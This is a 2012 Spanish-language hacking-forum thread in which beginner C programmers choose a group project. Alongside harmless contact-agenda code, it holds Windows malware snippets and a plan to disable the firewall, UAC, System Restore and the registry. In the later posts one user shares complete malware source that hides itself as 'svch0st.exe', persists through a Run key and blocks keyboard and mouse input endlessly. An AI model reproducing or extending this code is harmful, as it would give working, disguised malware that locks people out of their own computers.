Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: lluk en 23 Septiembre 2012, 13:59 pm



Título: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 13:59 pm
Hola a todos,
hace tiempo (creo que fue en este foro, aunque no estoy seguro), algunos usuarios intentamos hacer un programa para descifrar claves WEP, completamente programado en C.
Creo que es una buena forma de aprender, y querría saber si alguien esta interesado en hacer algún programa que requiera más de una persona trabajando en él.
Si queréis proponed ideas para dicho programa.

Gracias a todos y espero que os animéis!

EDITO:

Gente interesada en el proyecto
 - 0xDani
 - Caster
 - DickGumshoe
 - Dryken
 - oPen syLar
 - flony
 - avesudra

Temas:
 - Agenda
 - Algo de wifi?
 - Antivirus / malware
 - Chat en LAN
 - Calculadora para números grandes
 - Sustituidor de caracteres

Malware:
 - Keylogger
 - Robar Contraseñas
 - WebCam


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 14:17 pm
Yo dependiendo de que clase de programa sea puedo estar interesado, para empezar que no sea exclusivo para windows. Luego depende tambien de la gente que se apunte y como se organice el trabajo.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 14:36 pm
A mi me gustaría apuntarme pero mis conocimientos sobre C son muy muy basicos, asi que si necesitais a gente para algo basico contad conmigo, sino pues nada.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 23 Septiembre 2012, 14:39 pm
Yo lo mismo que Caster. Sé poco de bibliotecas externas, así que si hay alguna parte en la que realizar algo básico estaría dispuesto a ayudar.


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 14:55 pm
jaja pues necesitamos un experto porque yo también se lo básico (hasta punteros) :v
bueno pues proponed temas que os interesen.

a mi el único que se me ocurre es hacer un editor de texto, aunque no me parece muy bueno xD


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 15:01 pm
Yo se hasta instrucciones de control, tipo while switch, y poco mas, porque estaba leyendo un libro y me quede en el capitulo de funciones, y desde hace un tiempo deje de leerlo asi que algunas cosas las he olvidado. Lo que se es muy basico.

 


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 15:14 pm
Bueno, no pasa nada. Aunque si que necesitamos a alguien que sepa algo más de lo que sabemos xD


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 23 Septiembre 2012, 15:26 pm
Yo lo que se da en los libros de C (las funciones básicas, bucles, punteros, funciones, vectores/matrices, cadenas de caracteres, etc.) lo sé, pero me tengo que adaptar a usar librerías externas, ya que de estas he usado pocas.


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 15:33 pm
bueno, entonces pensamos en algún programa que podamos hacer entre todos y si vemos que no nos sale, lo hacemos más sencillo

alguna idea?


Título: Re: Proyecto C/C++
Publicado por: Dryken en 23 Septiembre 2012, 15:51 pm
Buenas, me gustaría colaborar en el proyecto ya que pinta muy bien la verdad. Mis conocimientos son bastantes amplios, llevo como 1 años con C y C++ y creó que podría dar la talla. Mi única pega son las librerías externas, sockets, y el diseño de WFA o GTK+ o Qt, por lo demás lo llevo bien.

Yo hice un proyecto en solitario hace ya algún tiempo en el que compañeros de este foro me echaron una mano y salió bien la cosa...se trata de una calculadora llamada Calc Don

http://foro.elhacker.net/programacion_cc/source_calculadora_calc_don_10-t366489.0.html

Bueno, lluk tu eres el que ha ideado el proyecto, cuentanos tu idea y te seguiremos como lider. Que alguien comience con el principio del code y el resto nos la ideamos para completarlo con las nuevas funciones que surjan de una lluvia de ideas...¿os parece?


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 16:07 pm
Jaja, nono yo de líder no, que no se me da bien
y la idea no tengo ninguna en concreto, quería que todos dijésemos alguna y que la que nos parezca mejor la escogiésemos
Porque a mi solo se me ocurre hacer un editor de texto xD


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 16:12 pm
A mi la verdad no se me ocurre que pueda hacer con lo que yo se, pero segun salga alguna idea me pongo a trabajar en ella.


Título: Re: Proyecto C/C++
Publicado por: Dryken en 23 Septiembre 2012, 16:54 pm
Vale, pues si me dejáis os dejo una idea para empezar...una Agenda, tengo una simple comenzada de hace poco tiempo por aburrimiento.

¿Qué hace?
Hace 3 cosas...guardar en un archivo de texto generado los datos de los clientes tales como nombre, edad...etc.

También muestra dichos datos en la pantalla del programa...pero eso aún no está disponible por falta de tiempo u error...ya no me acuerdo del tiempo que hace  :xD

Código
  1. #include <stdio.h>
  2. #include<windows.h>
  3. main (){
  4. //Variables
  5. FILE *cliente;
  6.     int opcion, edad, tel;  
  7.     char nombre[22], pais[20], cadena[1000];
  8.     //Nombre del programa
  9.     HWND ocultar;
  10. ocultar=GetForegroundWindow();
  11. SetWindowText(ocultar,"Agenda de registros");
  12.     //Titulo del fichero
  13.     cliente = fopen ("Fichero.txt" ,"a");
  14. fprintf (cliente,"\nIniciando...Recopilacion de datos:\n");  
  15. fprintf (cliente,"------------------------------------------------\n");
  16. fclose (cliente);
  17.     system ("color FC");
  18.  
  19.     principio:
  20. system("cls");
  21.     printf ("\nAgenda de registros personales\n");
  22.     printf ("------------------------------\n\n");
  23.     printf ("1- Crear nuevo usuario\n");
  24.     printf ("2- Mostrar usuarios\n");
  25.     printf ("3- Salir\n\n");
  26.     scanf ("%d", &opcion);
  27.     system ("cls");
  28.     switch (opcion){
  29.            case 1:
  30.                 printf ("Introduce el nombre del nuevo usuario: ");
  31.                 fflush(stdin);  
  32.                 fgets(nombre, sizeof(nombre), stdin);
  33.                 nombre[strlen(nombre)-1] = '\0';
  34.                 printf ("Edad: ");
  35.                 scanf ("%d", &edad);
  36.                 printf ("Pais: ");
  37.                 fflush(stdin);  
  38.                 fgets(pais, sizeof(pais), stdin);
  39.                 pais[strlen(pais)-1] = '\0';
  40.                 printf ("Telefono: ");
  41.                 scanf ("%d", &tel);  
  42.                 printf ("\n\nCliente Guardado");
  43.                 fflush(stdin);  
  44.                 getchar();
  45.                 //Pasarlo al archivo de texto                
  46.                 cliente = fopen ("Fichero.txt" ,"a");            
  47.                 fprintf (cliente,"\nUsuario: %s\n",nombre);                
  48.                 fprintf (cliente,"Edad: %d\n",edad);
  49.                 fprintf (cliente,"Pais: %s\n",pais);
  50.                 fprintf (cliente,"Telefono: %d\n",tel);
  51. fprintf (cliente,"\n==========================\n");  
  52.                 fclose (cliente);  
  53.                 goto principio;                                                    
  54.            case 2:
  55.                 cliente = fopen ("Fichero.txt", "r");
  56.                 fflush(stdin);  
  57. fgets(cadena,1000,cliente);
  58.                 fclose(cliente);
  59.                 printf("Informacion recopilada\n");
  60.                 printf("----------------------\n\n");
  61.                 getchar();      
  62.                 goto principio;
  63.            case 3:
  64. break;
  65.            default:
  66.                 printf("\nElije una de las opciones mostradas.\n\n");  
  67. Sleep(2500);  
  68.                 goto principio;
  69.            }
  70. }

Si os parece podemos ir completándola con nuevas características y funciones...¿os gusta la idea?


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 17:11 pm
Me parece genial la idea, que la gente vaya subiendo aqui los codigos que vaya haciendo para ir mejorandolos entre todos.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 17:31 pm
Una agenda? No se me parece que algo como lo del crackeador de claves WEP es mucho mas interesante.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 17:40 pm
xD hombre Dani, esta claro que un programa para descifrar claves WEP suena mucho mejor, pero nunca llegamos a acabarlo.

Aunque si tienes alguna idea nos la dices, en parte porque la agenda no se que más se le puede añadir aparte de variables tipo: dirección, código postal y tal
voy a pensar en algo para la agenda o algún otro tema


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 23 Septiembre 2012, 17:40 pm
Como dice 0xDani, quizá haya otros proyectos más interesantes, pero si terminamos haciendo la agenda, aquí dejo una que hice hace bastante tiempo:

Código
  1.  
  2.    #include <stdio.h>
  3.    #include <stdlib.h>
  4.    #include <string.h>
  5.  
  6.    int main()
  7.    {
  8.  
  9.        struct
  10.        {
  11.          char nombre[10];
  12.          char direccion[15];
  13.          int movil;
  14.          char email[20];
  15.           int dia, mes, ano;
  16.        }datos[100];
  17.  
  18.        char lineas[500],comprobar[10];
  19.  
  20.        FILE* fichero;
  21.  
  22.        int opcion,posicion,tamano,i=0,j,aux,c;
  23.  
  24.        fichero = fopen("agenda.dat", "r+b");
  25.  
  26.        if(fichero != NULL)
  27.        {
  28.  
  29.        while(!feof(fichero))
  30.        {
  31.          c=fscanf(fichero,"%s",datos[i].nombre);
  32.          fscanf(fichero,"%s",datos[i].direccion);
  33.          fscanf(fichero,"%d",&datos[i].movil);
  34.          fscanf(fichero,"%s",datos[i].email);
  35.          fscanf(fichero,"%d",&datos[i].dia);
  36.          fscanf(fichero,"%d",&datos[i].mes);
  37.          fscanf(fichero,"%d",&datos[i].ano);
  38.          if(c!=-1)i++;
  39.        }
  40.  
  41.  
  42.       rewind(fichero);
  43.  
  44.        do
  45.        {
  46.        do
  47.        {
  48.        printf("Fichas guardadas: %d\n",i);
  49.        printf("Elija una opcion\n");
  50.        printf("1. Introducir datos\n");
  51.        printf("2. Visualizar nombres de las fichas existentes\n");
  52.        printf("3. Mostrar todos los datos de una persona\n");
  53.        printf("4. Salir\n");
  54.        scanf("%d",&opcion);
  55.        getchar();
  56.  
  57.        switch(opcion)
  58.        {
  59.          case 1:
  60.               if(i>99)
  61.               {
  62.                 printf("No caben mas fichas!");
  63.                 break;
  64.               }
  65.               printf("Introduce un nombre: ");
  66.               gets(datos[i].nombre);
  67.  
  68.               printf("Introduce una direccion: ");
  69.               gets(datos[i].direccion);
  70.  
  71.               printf("Introduce un movil: ");
  72.               scanf("%d",&datos[i].movil);
  73.               getchar();
  74.  
  75.               printf("Introduce correo electronico: ");
  76.               gets(datos[i].email);
  77.  
  78.               printf("Introduce dia de nacimiento: ");
  79.               scanf("%d",&datos[i].dia);
  80.               getchar();
  81.  
  82.               printf("Introduce mes de nacimiento: ");
  83.               scanf("%d",&datos[i].mes);
  84.               getchar();
  85.  
  86.               printf("Introduce ano de nacimiento: ");
  87.               scanf("%d",&datos[i].ano);
  88.               getchar();
  89.               i++;
  90.               break;
  91.  
  92.          case 2:
  93.               for(j=0;j<i;j++)
  94.               {
  95.                 printf("%d. %s\n", j+1, datos[j].nombre);
  96.               }
  97.  
  98.               break;
  99.          case 3:
  100.              printf("Introduce el nombre de la persona de la que desea visualizar los datos:");
  101.             scanf("%s",comprobar);
  102.              for(j=0;j<i;j++)
  103.              {
  104.                if(strcmp(datos[j].nombre,comprobar)==0)
  105.                {
  106.                  printf("Nombre: %s\n",datos[j].nombre);
  107.                  printf("Direccion: %s\n",datos[j].direccion);
  108.                  printf("Movil: %d\n",datos[j].movil);
  109.                  printf("Email: %s\n",datos[j].email);
  110.                  printf("Dia de nacimiento: %d\n",datos[j].dia);
  111.                  printf("Mes de nacimiento: %d\n",datos[j].mes);
  112.                  printf("Ano de nacimiento: %d\n",datos[j].ano);
  113.                }
  114.              }
  115.               break;
  116.          case 4:
  117.               break;
  118.  
  119.          default:
  120.                  printf("Opcion no valida!\n");
  121.        }
  122.  
  123.        }while(opcion<1||opcion>4);
  124.  
  125.        }while(opcion!=4);
  126.        }
  127.        aux=i;
  128.        printf("Guardando datos en la agenda ...\n\n");
  129.  
  130.        for(i=0;i<aux;i++)
  131.        {
  132.          fprintf(fichero, "%s\n", datos[i].nombre);
  133.          fprintf(fichero, "%s\n", datos[i].direccion);
  134.          fprintf(fichero, "%d\n", datos[i].movil);
  135.          fprintf(fichero, "%s\n", datos[i].email);
  136.          fprintf(fichero, "%d\n", datos[i].dia);
  137.          fprintf(fichero, "%d\n", datos[i].mes);
  138.          fprintf(fichero, "%d\n", datos[i].ano);
  139.          }
  140.       fclose(fichero);
  141.        printf("\n\nPulse una tecla para continuar");
  142.        getchar();
  143.        return 0;
  144.    }
  145.  


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 17:43 pm
xD hombre Dani, esta claro que un programa para descifrar claves WEP suena mucho mejor, pero nunca llegamos a acabarlo.

Aunque si tienes alguna idea nos la dices, en parte porque la agenda no se que más se le puede añadir aparte de variables tipo: dirección, código postal y tal
voy a pensar en algo para la agenda o algún otro tema

Estoy pensando en que se puede hacer, cuando se me ocurra algo posteare.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 18:02 pm
Estoy pensando en que se puede hacer, cuando se me ocurra algo posteare.

Ya somos dos, a ver que se nos ocurre.


Título: Re: Proyecto C/C++
Publicado por: oPen syLar en 23 Septiembre 2012, 18:20 pm
Me parece bastante curioso x) Yo también tenia la idea de hacer algo relacionado con la WiFi =)

Yo tengo experiencia en MinGW y en algunas librerías (libCurl, OpenCL, Pthreads, OpenSSL) Mi idea era mas como añadirle IA al aircrack (hacer un fork) que se automatizara al 100% (No como airoscript) mas automático aun

También tenia la idea de desarrollar un Elcomsoft Distribuid Password Recovery pero multiplataforma =)


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 19:18 pm
pues a ver si se te ocurre algo y nos lo cuentas a todos (un poco más sencillo, para que los que no sabemos tanto nos podamos enterar xD)
gracias a todos por contribuir, yo sigo buscando un tema.

Si queréis dejamos unos días para pensar el tema y luego decidimos
de momento nos quedamos con La agenda, ya que es el único que tenemos


Título: Re: Proyecto C/C++
Publicado por: flony en 23 Septiembre 2012, 19:42 pm
lastima yo tambin soy nivel basico...epro en c++ ..de todas formas me anoto


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 19:53 pm

Yo tengo experiencia en MinGW y en algunas librerías (libCurl, OpenCL, Pthreads, OpenSSL) Mi idea era mas como añadirle IA al aircrack (hacer un fork) que se automatizara al 100% (No como airoscript) mas automático aun

También tenia la idea de desarrollar un Elcomsoft Distribuid Password Recovery pero multiplataforma =)

Empecemos por algo mas simple para que pueda participar el mayor numero de gente jajaja


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 20:10 pm
mm, ok
yo propongo un tema (que no se si es difícil o no) que llevo mucho tiempo queriendo hacer pero nunca se me dio la oportunidad.
Sería algo relacionado con los antivirus y el malware (programar un antivirus o lo que sea xD)
lo añado en la lista de temas del primer mensaje y vosotros me decís que os parece


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 23 Septiembre 2012, 20:12 pm
mm, ok
yo propongo un tema (que no se si es difícil o no) que llevo mucho tiempo queriendo hacer pero nunca se me dio la oportunidad.
Sería algo relacionado con los antivirus y el malware (programar un antivirus o lo que sea xD)
lo añado en la lista de temas del primer mensaje y vosotros me decís que os parece

La idea bien está. No sé cómo se hará un antivirus, pero me imagino que será muy difícil...


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 20:13 pm
Otra idea que se me acaba ocurrir, ya es algo complejo creo yo, yo no sabria hacer nada, seria un Chat tipo IRC que conecte a los ordeandores de una LAN por su IP privada para poder comunicarse entre ellos, o que se abra un servidor en uno de los ordenadores de la LAN y el resto ejecuten los clientes y se conecten todo al host que seria donde esta abierto el servidor.


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 20:19 pm
Muy buena idea Casper,
por mi me quedaba con la tuya, a ver que dicen los demás

voy a investigar un poco de como se tendría que hacer esto


Título: Re: Proyecto C/C++
Publicado por: Dryken en 23 Septiembre 2012, 20:31 pm
La idea del malware me interesa, llevo tiempo queriendo hacer uno pero hay muchas funciones que no soy capaz de sacar...desbloquear panel de control, desbloquear cmd, desbloquear regedit, añadir al registro para iniciar con windows.

POR FAVOR, ELIJAMOS UN PROYECTO YA Y NO CAMBIEMOS MAS DE IDEA, cojamos este si os parece.

Nombre sugerido... Libreware

Bloquear Teclado y ratón

Código
  1. #include <winable.h>
  2. BlockInput(true);
  3. Sleep(20000);
  4. BlockInput(false);

Copiar al registro

Código
  1. HKEY hkey;
  2. RegOpenKeyEx
  3. (HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
  4. RegSetValueEx(hkey,"Nombre",0,REG_SZ,(const unsigned char*)"C:\\Ruta\\",sizeof"C:\\Ruta\\");        
  5. RegCloseKey(hkey);


Desactivar cmd No me funciona

Código
  1.  
  2. DWORD dwVal = 1;
  3. HKEY hKey;
  4. RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System", 0, KEY_ALL_ACCESS, &hKey);
  5. RegSetValueEx (hKey, "DisableCMD", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD));
  6. RegCloseKey(hKey);

Desctivar administrador de tareas No me funciona

Código
  1. HWND TaskMgr;
  2. TaskMgr = FindWindow(NULL,"Windows Task Manager");
  3. if(TaskMgr != NULL) {
  4. PostMessage(TaskMgr,WM_CLOSE,(LPARAM)0,(WPARAM)0);
  5. }

Los pasos que necesitaremos serán estos:

1-Desactivar Firewall.
2-Desactivar UAC.
3-Pegar el PE a Windows/System32
4-Copiarse al registro el Acceso Directo.
5-No deja acceder al usuario al registro (que diga que el admin lo ha desabilitado).
6-Desactivar el Restaurar Sistema.
7-Cerrar procesos

Ventanas Emergentes       
Citar
     
     Boton Ok                MessageBox(NULL, "TEXTO", "TITULO",MB_OK);
     OK y cancel            MessageBox(NULL, "¿Cerrar?", "Test", MB_OKCANCEL);
     Yes, No y cancel     MessageBox(NULL, "¿Cerrar?", "Test", MB_YESNOCANCEL);
     Boton Aceptar         MessageBox(NULL, "¿Cerrar?", "Test", MB_ICONINFORMATION );

Ejecuta ventanas         
                                 
Citar
ShellExecute(NULL, "open","cmd.exe", "ipconfig", NULL, SW_SHOW);

Ocultar la ventana de MS-DOS                
                                 
Citar
FreeConsole();

Oculta la ventana de MS-DOS y WINDOWS,  las 2 lineas
                                 
Citar
HWND ventana=GetForegroundWindow();
                                  ShowWindow(ventana,SW_HIDE);

Pues venga, con todo esto ya tenemos una idea basica, pues empecemos al tema. Lo primero estructurar el code.

 



Título: Re: Proyecto C/C++
Publicado por: тαптяα en 23 Septiembre 2012, 20:33 pm
Yo ya tengo un chat programado en Winsock (win)

os puedo ayudar un poco en lo que querais


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 20:33 pm
La idea del malware me interesa, llevo tiempo queriendo hacer uno pero hay muchas funciones que no soy capaz de sacar...desbloquear panel de control, desbloquear cmd, desbloquear regedit, añadir al registro para iniciar con windows.

POR FAVOR, ELIJAMOS UN PROYECTO YA Y NO CAMBIEMOS MAS DE IDEA, cojamos este si os parece.

Nombre sugerido... Libreware

Bloquear Teclado y ratón

Código
  1. #include <winable.h>
  2. BlockInput(true);
  3. Sleep(20000);
  4. BlockInput(false);

Copiar al registro

Código
  1. HKEY hkey;
  2. RegOpenKeyEx
  3. (HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
  4. RegSetValueEx(hkey,"Nombre",0,REG_SZ,(const unsigned char*)"C:\\Ruta\\",sizeof"C:\\Ruta\\");        
  5. RegCloseKey(hkey);


Desactivar cmd No me funciona

Código
  1.  
  2. DWORD dwVal = 1;
  3. HKEY hKey;
  4. RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System", 0, KEY_ALL_ACCESS, &hKey);
  5. RegSetValueEx (hKey, "DisableCMD", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD));
  6. RegCloseKey(hKey);

Desctivar administrador de tareas No me funciona

Código
  1. HWND TaskMgr;
  2. TaskMgr = FindWindow(NULL,"Windows Task Manager");
  3. if(TaskMgr != NULL) {
  4. PostMessage(TaskMgr,WM_CLOSE,(LPARAM)0,(WPARAM)0);
  5. }

Los pasos que necesitaremos serán estos:

1-Desactivar Firewall.
2-Desactivar UAC.
3-Pegar el PE a Windows/System32
4-Copiarse al registro el Acceso Directo.
5-No deja acceder al usuario al registro (que diga que el admin lo ha desabilitado).
6-Desactivar el Restaurar Sistema.
7-Cerrar procesos

Ventanas Emergentes       
Ejecuta ventanas         
                                  
Ocultar la ventana de MS-DOS                
                                  
Oculta la ventana de MS-DOS y WINDOWS,  las 2 lineas
                                  
Pues venga, con todo esto ya tenemos una idea basica, pues empecemos al tema. Lo primero estructurar el code.

 



A mi me gustaria el tema malware/antivirus, pero como dije en mi primer post, no voy a participar en un programa para windows. Ademas, me parece que malware para windows hay mucho, es ser muy poco original.


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 20:38 pm
yo prefiero lo del chat más que nada porque lo podemos hacer para windows y para linux (o hacerlo para uno y luego adaptarlo al otro)

aunque decidid vosotros porque a mi en realidad me da igual


Título: Re: Proyecto C/C++
Publicado por: тαптяα en 23 Septiembre 2012, 20:41 pm
La idea del malware me interesa, llevo tiempo queriendo hacer uno pero hay muchas funciones que no soy capaz de sacar...desbloquear panel de control, desbloquear cmd, desbloquear regedit, añadir al registro para iniciar con windows.

POR FAVOR, ELIJAMOS UN PROYECTO YA Y NO CAMBIEMOS MAS DE IDEA, cojamos este si os parece.

Nombre sugerido... Libreware

Bloquear Teclado y ratón

Código
  1. #include <winable.h>
  2. BlockInput(true);
  3. Sleep(20000);
  4. BlockInput(false);

Copiar al registro

Código
  1. HKEY hkey;
  2. RegOpenKeyEx
  3. (HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
  4. RegSetValueEx(hkey,"Nombre",0,REG_SZ,(const unsigned char*)"C:\\Ruta\\",sizeof"C:\\Ruta\\");        
  5. RegCloseKey(hkey);


Desactivar cmd No me funciona

Código
  1.  
  2. DWORD dwVal = 1;
  3. HKEY hKey;
  4. RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System", 0, KEY_ALL_ACCESS, &hKey);
  5. RegSetValueEx (hKey, "DisableCMD", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD));
  6. RegCloseKey(hKey);

Desctivar administrador de tareas No me funciona

Código
  1. HWND TaskMgr;
  2. TaskMgr = FindWindow(NULL,"Windows Task Manager");
  3. if(TaskMgr != NULL) {
  4. PostMessage(TaskMgr,WM_CLOSE,(LPARAM)0,(WPARAM)0);
  5. }

Los pasos que necesitaremos serán estos:

1-Desactivar Firewall.
2-Desactivar UAC.
3-Pegar el PE a Windows/System32
4-Copiarse al registro el Acceso Directo.
5-No deja acceder al usuario al registro (que diga que el admin lo ha desabilitado).
6-Desactivar el Restaurar Sistema.
7-Cerrar procesos

Ventanas Emergentes       
Ejecuta ventanas         
                                 
Ocultar la ventana de MS-DOS                
                                 
Oculta la ventana de MS-DOS y WINDOWS,  las 2 lineas
                                 
Pues venga, con todo esto ya tenemos una idea basica, pues empecemos al tema. Lo primero estructurar el code.

 


jajaaj todo eso esta en mi virus, "Virus Mouse v4" buscad en Google: Virus mouse v4 p43l0


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 20:42 pm
Ya lo digo a mi me gusta la idea del antivirus/malware, y pienso que lo bueno seria hacerlo para algun SO que no fuera windows, que es el SO para el que mas se programan estas cosas.



Título: Re: Proyecto C/C++
Publicado por: Dryken en 23 Septiembre 2012, 20:42 pm
Bueno venga, como 0xDani dice que quiere que sea portable optaremos por el chat pero por favor, que no se cambien más de ideas. Dejemos esta por definitiva.

тαптяαпсє si tienes algo de codigo compartelo e intentaremos mejorarlo entre todos, con algo se empieza. la cosa es que yo de sockets poco la verdad  :xD


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 20:44 pm
тαптяαпсє contamos contigo para ayuda en cosas más "avanzadas"?

Ya lo digo a mi me gusta la idea del antivirus/malware, y pienso que lo bueno seria hacerlo para algun SO que no fuera windows, que es el SO para el que mas se programan estas cosas.


tienes razón dani, pero piensa que la mayoría de gente programa en windows y no dispone de linux :/


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 23 Septiembre 2012, 20:46 pm
Ya lo digo a mi me gusta la idea del antivirus/malware, y pienso que lo bueno seria hacerlo para algun SO que no fuera windows, que es el SO para el que mas se programan estas cosas.



Lo mismo digo, me gusta la idea. No tengo actualmente ninguna distribución de Linux instalada en mi ordenador pero si acordamos hacer algo para dicho SO, me lo descargaría.

El chat puede ser una buena idea, siempre que sea portable.


Título: Re: Proyecto C/C++
Publicado por: тαптяα en 23 Septiembre 2012, 20:47 pm
Yo precisamente ahora, voy puteado con Linux, pues me funciona mal y voy a desinstalarlo, pero vamos a hacer una cosa.

En poco tiempo tendré un nuevo ordenador, en el cual me puedo bajar VirtualBox, y me instalo en un momento la distribución que prefiráis.

Bueno venga, como 0xDani dice que quiere que sea portable optaremos por el chat pero por favor, que no se cambien más de ideas. Dejemos esta por definitiva.

тαптяαпсє si tienes algo de codigo compartelo e intentaremos mejorarlo entre todos, con algo se empieza. la cosa es que yo de sockets poco la verdad  :xD


Código malware:

Código
  1. #include<windows.h>
  2. #include<tlhelp32.h>
  3. #include<winable.h>
  4.  
  5.  
  6.  
  7.  
  8. int test_key(void);
  9. int create_key(char *);
  10.  
  11.  
  12.  
  13. int main(void)
  14. {
  15.  int test,create;
  16.  test=test_key();
  17.  
  18.  if (test==2)
  19.  {
  20.    char *path="c:\\WINDOWS\\svch0st.exe";
  21.    create=create_key(path);
  22.  
  23.  }
  24.  
  25. HWND inv;
  26.  AllocConsole();
  27.  inv=FindWindowA("ConsoleWindowClass",NULL);
  28.  ShowWindow(inv,0);
  29. int c;
  30.  
  31. for(;;)
  32. {
  33. BlockInput(true);
  34. }
  35.     char root[60]="C:\\Windows\\";
  36.    char nombre[60]="svch0st";
  37.    char path[256]="svch0st";
  38.    strcat(nombre,".exe");
  39.    strcat(root,nombre);
  40.    HMODULE copiar = GetModuleHandle(0);
  41.    GetModuleFileName(copiar, path, 256);
  42.    CopyFile(path,root,false);
  43. }
  44.  
  45. int test_key(void)
  46. {
  47.  int check;
  48.  HKEY hKey;
  49.  char path[BUFSIZE];
  50.  DWORD buf_length=BUFSIZE;
  51.  int reg_key;
  52.  
  53.  reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
  54.  if(reg_key!=0)
  55.  {
  56.    check=1;
  57.    return check;
  58.  }
  59.  
  60.  reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);
  61.  
  62.  if((reg_key!=0)||(buf_length>BUFSIZE))
  63.    check=2;
  64.  if(reg_key==0)
  65.    check=0;
  66.  
  67.  RegCloseKey(hKey);
  68.  return check;
  69. }
  70.  
  71. int create_key(char *path)
  72. {
  73.    int reg_key,check;
  74.  
  75.    HKEY hkey;
  76.  
  77.    reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
  78.    if(reg_key==0)
  79.    {
  80.        RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
  81.        check=0;
  82.        return check;
  83.    }
  84.    if(reg_key!=0)
  85.        check=1;
  86.  
  87.    return check;
  88.  
  89. }


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 23 Septiembre 2012, 20:51 pm
Bueno venga, como 0xDani dice que quiere que sea portable optaremos por el chat pero por favor, que no se cambien más de ideas. Dejemos esta por definitiva.

тαптяαпсє si tienes algo de codigo compartelo e intentaremos mejorarlo entre todos, con algo se empieza. la cosa es que yo de sockets poco la verdad  :xD

Yo no he dicho que quiera que sea portable, lo unico que digo es que existen millones de virus para windows, y se pueden encontrar tantos codigos de malware para windows que es casi imposible ser original. Por otra parte en este tipo de aplicaciones que por lo general requieren de un rendimiento optimo te tienes que pegar a la API del sistema, por eso digo que no sea para windows.

тαптяαпсє contamos contigo para ayuda en cosas más "avanzadas"?
tienes razón dani, pero piensa que la mayoría de gente programa en windows y no dispone de linux :/

De linux se puede disponer en poco tiempo... Recuerdo que es libre. Pero si seguis prefiriendo programar para windows pues no conteis conmigo, simplemente no me gusta.

Saludos.


Título: Re: Proyecto C/C++
Publicado por: lluk en 23 Septiembre 2012, 20:54 pm
una duda que tengo:
en principio en linux son las mismas funciones casi todas no? (excepto las system y tal..), lo que cambia son las librerías, verdad?

porque si eso podemos hacer algo para windows y luego adaptarlo a linux, aunque gran parte del código sera igual (menos sockets y tal)


Título: Re: Proyecto C/C++
Publicado por: Caster en 23 Septiembre 2012, 20:54 pm
La mejor idea creo que es hacer el chat pero que sea portable y sirva tanto para Linux como para Windows. Yo en poco dias particionare el disco e instalare Ubuntu, asi que dispondre de los dos


Título: Re: Proyecto C/C++
Publicado por: avesudra en 23 Septiembre 2012, 20:55 pm
Hombre la idea de programar un antivirus no está mal , pero es difícil da igual si es linux windows mac u otros sistemas operativos , hay varios millones de firmas de virus... En cuanto a ideas , una calculadora para números muy grandes ( utilizando Qt o Gtk+ y GMP ) , una cosa divertida que se me ha ocurrido programar hace tiempo es una cosa  si poneis los acentos de palabras en los printfs o couts de C/C++ para la consola os salen simbolos raros pero si lo poneis en hexadecimal no , pues una especie de sustituidor para esos carácteres (no es un proyecto grande).Ultimamente no dispongo de tiempo así que no conteis mucho conmigo :)
una duda que tengo:
en principio en linux son las mismas funciones casi todas no? (excepto las system y tal..), lo que cambia son las librerías, verdad?

